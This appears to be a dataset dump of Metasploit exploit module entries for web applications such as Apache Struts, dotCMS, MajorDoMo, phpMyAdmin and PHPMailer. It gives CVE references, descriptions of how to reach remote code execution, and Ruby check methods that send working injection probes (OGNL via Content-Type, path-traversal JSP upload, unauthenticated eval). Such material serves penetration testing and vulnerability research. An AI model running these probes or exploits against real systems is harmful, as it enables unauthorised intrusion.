deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Apache Struts Jakarta Multipart Parser OGNL Injection
Type: exploit
Path: modules/exploits/multi/http/struts2_content_type_ognl.rb
Platform: %w{unix windows linux}
Disclosure date: 2017-03-07
References: CVE-2017-5638, URL-https://cwiki.apache.org/confluence/display/WW/S2-045

Description:
This module exploits a remote code execution vulnerability in Apache Struts
          version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
          via http Content-Type header.

          Native payloads will be converted to executables and dropped in the
          server's temp dir. If this fails, try a cmd/* payload, which won't
          have to write to the disk.

Check method (fingerprinting):
var_a = rand_text_alpha_lower(4)

    ognl = ""
    ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
    ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('| + var_a + %q|', #os))|

    begin
      resp = send_struts_request(ognl)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown('An error occurred while checking the target')
    end

    if resp && resp.headers && resp.headers[var_a]
      vprint_good("Victim operating system: #{resp.headers[var_a]}")
      Exploit::CheckCode::Vulnerable('Successfully executed the injected code')
    else
      Exploit::CheckCode::Safe('The target appears to be patched')
    end
  end
Metasploit Module: DotCMS RCE via Arbitrary File Upload.
Type: exploit
Path: modules/exploits/multi/http/dotcms_file_upload_rce.rb
Platform: linux
Disclosure date: 2022-05-03
References: CVE-2022-26352, URL-https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/
Targets: Java Linux, Java Windows

Description:
When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the
          file down in a temp directory.  In the case of this vulnerability, dotCMS does not sanitize the filename
          passed in via the multipart request header and thus does not sanitize the temp file's name.  This allows a
          specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content)  that get
          written outside of the dotCMS temp directory.  In the case of this exploit, an attacker can upload a special
          .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.

Check method (fingerprinting):
test_content = Rex::Text.rand_text_alpha(10)
    test_file = "#{test_content}.jsp"
    test_path = "../../#{test_file}"
    uuid = Faker::Internet.uuid

    jsp = <<~EOS
      <%@ page import=\"java.io.File\" %>
      <%
        File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{test_file}");
        jsp.delete();
      %>
      #{uuid}
    EOS

    vars_form_data = [
      {
        'name' => 'name',
        'data' => jsp,
        'encoding' => nil,
        'filename' => test_path,
        'mime_type' => 'text/plain'
      }
    ]

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/content/'),
      'vars_form_data' => vars_form_data
    )

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, test_file.to_s)
    )

    if res && res.body.include?(uuid)
      return Exploit::CheckCode::Vulnerable('Successfully verified arbitrary file upload vulnerability')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: phpLDAPadmin query_engine Remote PHP Code Injection
Type: exploit
Path: modules/exploits/multi/http/phpldapadmin_query_engine.rb
Platform: php
Disclosure date: 2011-10-24
References: CVE-2011-4075, OSVDB-76594, BID-50331, EDB-18021

Description:
This module exploits a vulnerability in the lib/functions.php for
          phpLDAPadmin versions 1.2.1.1 and earlier that allows attackers input
          parsed directly to the create_function() php function. A patch was
          issued that uses a whitelist regex expression to check the user supplied
          input before being parsed to the create_function() call.

Check method (fingerprinting):
uri = normalize_uri(datastore['URI'], 'index.php')

    res = send_request_raw(
      {
        'method' => 'GET',
        'uri' => uri,
      }, 3
    )

    if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i)
      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: MajorDoMo Console Eval Unauthenticated RCE
Type: exploit
Path: modules/exploits/multi/http/majordomo_console_eval_rce.rb
Platform: php
Disclosure date: 2026-02-18
References: CVE-2026-27174, URL-https://chocapikk.com/posts/2026/majordomo-revisited/, URL-https://github.com/sergejey/majordomo/pull/1177
Targets: PHP In-Memory, Unix/Linux Command Shell, Windows Command Shell

Description:
This module exploits an unauthenticated remote code execution vulnerability in
          MajorDoMo, an open-source home automation platform. The admin panel's PHP console
          is accessible without authentication due to a missing exit after redirect in
          modules/panel.class.php. The redirect("/") call intended to block unauthenticated
          users lacks an exit statement, so execution continues into the ajax panel handler
          which includes inc_panel_ajax.php unconditionally. Inside, the console handler
          passes the user-supplied command parameter directly to eval() via the evalConsole()
          function. The command, ajax_panel, and op parameters are all controllable via GET
          request through MajorDoMo's register_globals-style gr() function.

          This results in unauthenticated PHP code evaluation via a single GET request
          to /admin.php.

          All versions of MajorDoMo up to and including the latest release are affected.
          The fix is tracked in PR sergejey/majordomo#1177.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin.php'),
      'method' => 'GET'
    )
    return CheckCode::Unknown('Failed to connect to the target.') unless res
    return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200
    return CheckCode::Safe('Target does not appear to be MajorDoMo') unless res.body.include?('MajorDoMo')

    marker = Rex::Text.rand_text_alphanumeric(16)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin.php'),
      'method' => 'GET',
      'vars_get' => {
        'ajax_panel' => '1',
        'op' => 'console',
        'command' => "echo '#{marker}';"
      }
    )
    return CheckCode::Unknown('No response to console check') unless res

    if res.body.include?(marker)
      return CheckCode::Vulnerable('Console eval is accessible without authentication')
    end

    CheckCode::Safe('Console eval is not accessible')
  end
Metasploit Module: qdPM v7 Arbitrary PHP File Upload Vulnerability
Type: exploit
Path: modules/exploits/multi/http/qdpm_upload_exec.rb
Platform: php
Disclosure date: 2012-06-14
References: CVE-2015-3884, OSVDB-82978, EDB-19154
Targets: Generic (PHP Payload), Linux x86

Description:
This module exploits a vulnerability found in qdPM - a web-based project management
          software. The user profile's photo upload feature can be abused to upload any
          arbitrary file onto the victim server machine, which allows remote code execution.
          Please note in order to use this module, you must have a valid credential to sign
          in.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    base = File.dirname("#{uri}.")

    res = send_request_raw({ 'uri' => normalize_uri(base, '/index.php') })
    if res and res.body =~ %r{<div id="footer">.+qdPM (\d)\.(\d).+</div>}m
      major = ::Regexp.last_match(1)
      minor = ::Regexp.last_match(2)
      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response') if (major + minor).to_i <= 70
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: PmWiki pagelist.php Remote PHP Code Injection Exploit
Type: exploit
Path: modules/exploits/multi/http/pmwiki_pagelist.rb
Platform: php
Disclosure date: 2011-11-09
References: CVE-2011-4453, BID-50776, OSVDB-77261, EDB-18149, URL-http://www.pmwiki.org/wiki/PITS/01271

Description:
This module exploits an arbitrary command execution vulnerability
          in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is
          inside /scripts/pagelist.php.

Check method (fingerprinting):
uri = normalize_uri(datastore['URI'])
    uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version'

    res = send_request_raw(
      {
        'uri' => uri
      }, 25
    )

    if (res and res.body =~ /pmwiki-2.[0.00-2.34]/)
      return Exploit::CheckCode::Appears('The target appears to be a vulnerable version')
    end

    return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
  end
Metasploit Module: Plone and Zope XMLTools Remote Command Execution
Type: exploit
Path: modules/exploits/multi/http/plone_popen2.rb
Platform: %w{linux unix}
Disclosure date: 2011-10-04
References: CVE-2011-3587, OSVDB-76105, EDB-18262, URL-http://plone.org/products/plone/security/advisories/20110928

Description:
Unspecified vulnerability in Zope 2.12.x and 2.13.x, as used in Plone 4.0.x
          through 4.0.9, 4.1, and 4.2 through 4.2a2, allows remote attackers to execute
          arbitrary commands via vectors related to the p_ class in OFS/misc_.py and
          the use of Python modules.

Check method (fingerprinting):
uri = normalize_uri(datastore['URI'], 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2')

    res = send_request_raw(
      {
        'uri' => uri
      }, 25
    )
    if (res.headers['Bobo-Exception-Type'].to_s =~ /zExceptions.BadRequest/)
      return Exploit::CheckCode::Appears('The target appears vulnerable based on response headers')
    end

    # patched == zExceptions.NotFound
    return Exploit::CheckCode::Safe('The target application was not detected')
  end
Metasploit Module: Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution
Type: exploit
Path: modules/exploits/multi/http/struts2_code_exec_showcase.rb
Platform: %w{linux unix win}
Disclosure date: 2017-07-07
References: CVE-2017-9791, BID-99484, EDB-42324, URL-https://cwiki.apache.org/confluence/display/WW/S2-048

Description:
This module exploits a remote code execution vulnerability in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series. Remote Code Execution can be performed via a malicious field value.

Check method (fingerprinting):
var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    ognl = "%{'#{var_a}' + '#{var_b}'}"

    begin
      resp = send_struts_request(ognl)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown('An error occurred while checking the target')
    end

    if resp && resp.code == 200 && resp.body.include?("#{var_a}#{var_b}")
      Exploit::CheckCode::Vulnerable('Successfully executed the injected code')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Wordpress Plugin SP Project and Document - Authenticated Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/wp_plugin_sp_project_document_rce.rb
Platform: php
Disclosure date: 2021-06-14
References: EDB-50115, CVE-2021-24347

Description:
This module allows an attacker with a privileged Wordpress account to launch a reverse shell
          due to an arbitrary file upload vulnerability in Wordpress plugin SP Project & Document < 4.22.
          The security check only searches for lowercase file extensions such as `.php`, making it possible to upload `.pHP` files for instance.
          Finally, the uploaded payload can be triggered by a call to `/wp-content/uploads/sp-client-document-manager/<user_id>/<random_payload_name>.php`

Check method (fingerprinting):
return CheckCode::Unknown('Server not online or not detected as wordpress') unless wordpress_and_online?

    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    if cookie
      check_plugin_version_from_readme('sp-client-document-manager', '4.22')
    else
      CheckCode::Detected('The admin credentials given are wrong !')
    end
  end
Metasploit Module: Vtiger CRM - Authenticated Logo Upload RCE
Type: exploit
Path: modules/exploits/multi/http/vtiger_logo_upload_exec.rb
Platform: php
Disclosure date: 2015-09-28
References: CVE-2015-6000, CVE-2016-1713, EDB-38345

Description:
Vtiger 6.3.0 CRM's administration interface allows for the upload of a company logo.
          Instead of uploading an image, an attacker may choose to upload a file containing PHP code and
          run this code by accessing the resulting PHP file.

          This module was tested against vTiger CRM v6.3.0.

Check method (fingerprinting):
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php') })

    unless res
      vprint_error("Unable to access the index.php file")
      return CheckCode::Unknown('An error occurred while checking the target')
    end

    unless res.code == 200
      vprint_error("Error accessing the index.php file")
      return CheckCode::Unknown('An error occurred while checking the target')
    end

    if res.body =~ /<small> Powered by vtiger CRM (.*.0)<\/small>/i
      vprint_status("vTiger CRM version: #{$1}")
      if $1 == '6.3.0'
        return CheckCode::Vulnerable('The target is running a vulnerable version')
      else
        return CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
      end
    end

    CheckCode::Safe('The target is not running a vulnerable version')
  end

  # Login Function.
Metasploit Module: Apache Struts includeParams Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/struts_include_params.rb
Platform: win
Disclosure date: 2013-05-24
References: CVE-2013-2115, CVE-2013-1966, OSVDB-93645, URL-https://cwiki.apache.org/confluence/display/WW/S2-014, URL-http://struts.apache.org/development/2.x/docs/s2-013.html
Targets: Windows Universal, Linux Universal, Java Universal

Description:
This module exploits a remote command execution vulnerability in Apache Struts
          versions < 2.3.14.2. A specifically crafted request parameter can be used to inject
          arbitrary OGNL code into the stack bypassing Struts and OGNL library protections.
          When targeting an action which requires interaction through GET, the payload should
          be split, taking into account the URI limits. In this case, if the rendered JSP has
          more than one point of injection, it could result in payload corruption. This should
          happen only when the payload is larger than the URI length.

Check method (fingerprinting):
# initialise some base vars
    @inject = '${#_memberAccess["allowStaticMethodAccess"]=true,CMD}'
    vprint_status('Performing Check...')
    sleep_time = datastore['CHECK_SLEEPTIME']
    check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
    t1 = Time.now
    vprint_status("Asking remote server to sleep for #{sleep_time} seconds")
    response = execute_command(check_cmd)
    t2 = Time.now
    delta = t2 - t1

    if response.nil?
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    elsif delta < sleep_time
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    else
      return Exploit::CheckCode::Vulnerable('Successfully executed the injected code')
    end
  end
Metasploit Module: Rudder Server SQLI Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/rudder_server_sqli_rce.rb
Platform: %w[unix linux
Disclosure date: 2023-06-16
References: CVE-2023-30625, URL-https://securitylab.github.com/advisories/GHSL-2022-097_rudder-server/, URL-https://nvd.nist.gov/vuln/detail/CVE-2023-30625
Targets: Unix Command

Description:
This Metasploit module exploits a SQL injection vulnerability in
          RudderStack's rudder-server, an open source Customer Data Platform (CDP).
          The vulnerability exists in versions of rudder-server prior to 1.3.0-rc.1.
          By exploiting this flaw, an attacker can execute arbitrary SQL commands,
          which may lead to Remote Code Execution (RCE) due to the `rudder` role
          in PostgreSQL having superuser permissions by default.

Check method (fingerprinting):
version = get_version
    return Exploit::CheckCode::Unknown('No response received from the target') if version.nil? || version == 'Unknown'

    if Rex::Version.new('1.3.0-rc.1') > Rex::Version.new(version.gsub('v', ''))
      return Exploit::CheckCode::Appears("Rudder Version: #{version}")
    end

    Exploit::CheckCode::Safe('The target is not running a vulnerable version')
  end
Metasploit Module: BoidCMS Command Injection
Type: exploit
Path: modules/exploits/multi/http/cve_2023_38836_boidcms.rb
Platform: linux
Disclosure date: 2023-07-13
References: CVE-2023-38836, URL-https://github.com/1337kid/CVE-2023-38836

Description:
This module leverages CVE-2023-38836, an improper sanitization bug in BoidCMS version 2.0.0
          and below.  BoidCMS allows the authenticated upload of a php file as media if the file has
          the GIF header, even if the file is a php file.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'keep_cookies' => true,
      'method' => 'GET'
    )
    if res && res.code == 200
      title = res.get_html_document.xpath('//title').first.to_s
      return Exploit::CheckCode::Detected('Detected BoidCMS, but the version is unknown.') if title.include?('BoidCMS')
    end
    return Exploit::CheckCode::Safe('Unable to retrieve BoidCMS title page')
  end
Metasploit Module: PHPMailer Sendmail Argument Injection
Type: exploit
Path: modules/exploits/multi/http/phpmailer_arg_injection.rb
Platform: php
Disclosure date: 2016-12-26
References: CVE-2016-10033, CVE-2016-10045, EDB-40968, EDB-40969, URL-https://github.com/opsxcq/exploit-CVE-2016-10033, URL-https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

Description:
PHPMailer versions up to and including 5.2.19 are affected by a
          vulnerability which can be leveraged by an attacker to write a file with
          partially controlled contents to an arbitrary location through injection
          of arguments that are passed to the sendmail binary. This module
          writes a payload to the web root of the webserver before then executing
          it with an HTTP request. The user running PHPMailer must have write
          access to the specified WEB_ROOT directory and successful exploitation
          can take a few minutes.
Metasploit Module: BuilderEngine Arbitrary File Upload Vulnerability and execution
Type: exploit
Path: modules/exploits/multi/http/builderengine_upload_exec.rb
Platform: php
Disclosure date: 2016-09-18
References: CVE-2025-34100, EDB-40390

Description:
This module exploits a vulnerability found in BuilderEngine 3.5.0
          via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious
          file, which would result in arbitrary remote code execution under the context of
          the web server.

Check method (fingerprinting):
uri = target_uri.path
    uri << '/' if uri[-1, 1] != '/'

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/')
    })

    if res && res.code == 200 && !res.body.blank?
      return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Network Shutdown Module (sort_values) Remote PHP Code Injection
Type: exploit
Path: modules/exploits/multi/http/eaton_nsm_code_exec.rb
Platform: php
Disclosure date: 2012-06-26
References: OSVDB-83199, URL-http://web.archive.org/web/[PII_REDACTED]0855/http://secunia.com/advisories/49103/
Targets: Generic (PHP Payload), Linux x86

Description:
This module exploits a vulnerability in Eaton Network Shutdown Module
          version <= 3.21, in lib/dbtools.inc which uses unsanitized user input
          inside a eval() call. Additionally the base64 encoded user credentials
          are extracted from the database of the application. Please note that
          in order to be able to steal credentials, the vulnerable service must
          have at least one USV module (an entry in the "nodes" table in
          mgedb.db)

Check method (fingerprinting):
# we use a call to phpinfo() for verification
    res = execute_php_code('phpinfo();die();')

    if !res or res.code != 200
      vprint_error('Failed: Error requesting page')
      return CheckCode::Unknown('An error occurred while checking the target')
    end

    return CheckCode::Vulnerable('The target is vulnerable') if (res.body =~ /This program makes use of the Zend/)

    return CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: phpMyAdmin Authenticated Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/phpmyadmin_null_termination_exec.rb
Disclosure date: 2016-06-23
References: BID-91387, CVE-2016-5734, URL-https://www.phpmyadmin.net/security/PMASA-2016-27/, URL-https://security.gentoo.org/glsa/201701-32, EDB-40185

Description:
phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before
          4.6.3 does not properly choose delimiters to prevent use of the preg_replace
          (aka eval) modifier, which might allow remote attackers to execute arbitrary
          PHP code via a crafted string, as demonstrated by the table search-and-replace
          implementation.

Check method (fingerprinting):
begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
    rescue
      print_error("#{peer} - Unable to connect to server")
      return Exploit::CheckCode::Unknown('Could not connect to the target')
    end

    if res.nil? || res.code != 200
      print_error("#{peer} - Unable to query /js/messages.php")
      return Exploit::CheckCode::Unknown('Could not connect to the target')
    end

    # PHP 4.3.0-5.4.6
    # PHP > 5.4.6 not exploitable because null byte in regexp warning
    php_version = res['X-Powered-By']
    if php_version
      vprint_status("#{peer} - PHP version: #{php_version}")

      if php_version =~ /PHP\/(\d+\.\d+\.\d+)/
        version = Rex::Version.new($1)
        vprint_status("#{peer} - PHP version: #{version.to_s}")
        if version > Rex::Version.new('5.4.6')
          return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
        end
      end
    else
      vprint_status("#{peer} - Unknown PHP version")
    end

    # 4.3.0 - 4.6.2 authorized user RCE exploit
    if res.body =~ /pmaversion = '(\d+\.\d+\.\d+)';/
      version = Rex::Version.new($1)
      vprint_status("#{peer} - phpMyAdmin version: #{version.to_s}")

      if version >= Rex::Version.new('4.3.0') and version <= Rex::Version.new('4.6.2')
        return Exploit::CheckCode::Appears('The target is running a vulnerable version')
      elsif version < Rex::Version.new('4.3.0')
        return Exploit::CheckCode::D